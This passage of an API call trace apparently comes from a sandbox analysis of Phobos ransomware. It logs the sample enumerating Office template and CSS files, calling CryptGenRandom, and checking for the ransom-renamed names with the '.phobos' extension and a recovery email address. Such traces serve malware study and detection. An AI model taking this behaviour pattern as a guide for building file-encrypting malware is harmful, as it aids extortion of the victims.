dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.676] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.676] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=298302) returned 1 [0155.677] CloseHandle (hObject=0x574) returned 1 [0155.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx")) returned 0x220 [0155.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.677] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.677] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3450) returned 1 [0155.678] CloseHandle (hObject=0x574) returned 1 [0155.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css")) returned 0x220 [0155.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.678] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.679] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19968) returned 1 [0155.679] CloseHandle (hObject=0x574) returned 1 [0155.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc")) returned 0x220 [0155.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.679] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.680] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12288) returned 1 [0155.680] CloseHandle (hObject=0x574) returned 1 [0155.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt")) returned 0x220 [0155.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.680] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.681] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8704) returned 1 [0155.681] CloseHandle (hObject=0x574) returned 1 [0155.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls")) returned 0x220 [0155.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.682] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.682] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19968) returned 1 [0155.682] CloseHandle (hObject=0x574) returned 1 [0155.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc")) returned 0x220 [0155.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.683] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.683] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12288) returned 1 [0155.683] CloseHandle (hObject=0x574) returned 1 [0155.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt")) returned 0x220 [0155.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.683] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.684] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8704) returned 1 [0155.684] CloseHandle (hObject=0x574) returned 1 [0155.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls")) returned 0x220 [0155.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.684] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0155.685] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=325495) returned 1 [0155.685] CloseHandle (hObject=0x574) returned 1 [0155.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat")) returned 0x220 [0155.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHKEY.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchkey.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.904] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme27.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.906] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=123016) returned 1 [0155.906] CloseHandle (hObject=0x254) returned 1 [0155.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme27.css")) returned 0x220 [0155.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME27.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme27.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme27.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.907] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme28.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.908] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=120660) returned 1 [0155.908] CloseHandle (hObject=0x254) returned 1 [0155.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme28.css")) returned 0x220 [0155.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME28.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme28.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme28.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.908] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme29.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.909] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=125770) returned 1 [0155.909] CloseHandle (hObject=0x254) returned 1 [0155.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme29.css")) returned 0x220 [0155.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME29.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme29.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme29.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.910] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme30.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.910] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=120098) returned 1 [0155.911] CloseHandle (hObject=0x254) returned 1 [0155.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme30.css")) returned 0x220 [0155.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME30.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme30.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme30.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.911] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme31.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.912] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=120402) returned 1 [0155.912] CloseHandle (hObject=0x254) returned 1 [0155.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme31.css")) returned 0x220 [0155.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME31.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme31.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme31.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.913] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme32.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.914] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=125728) returned 1 [0155.914] CloseHandle (hObject=0x254) returned 1 [0155.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme32.css")) returned 0x220 [0155.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME32.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme32.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme32.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.914] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme33.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.915] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=122032) returned 1 [0155.915] CloseHandle (hObject=0x254) returned 1 [0155.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme33.css")) returned 0x220 [0155.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME33.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme33.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme33.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.916] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme34.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.916] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=119076) returned 1 [0155.917] CloseHandle (hObject=0x254) returned 1 [0155.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme34.css")) returned 0x220 [0155.917] 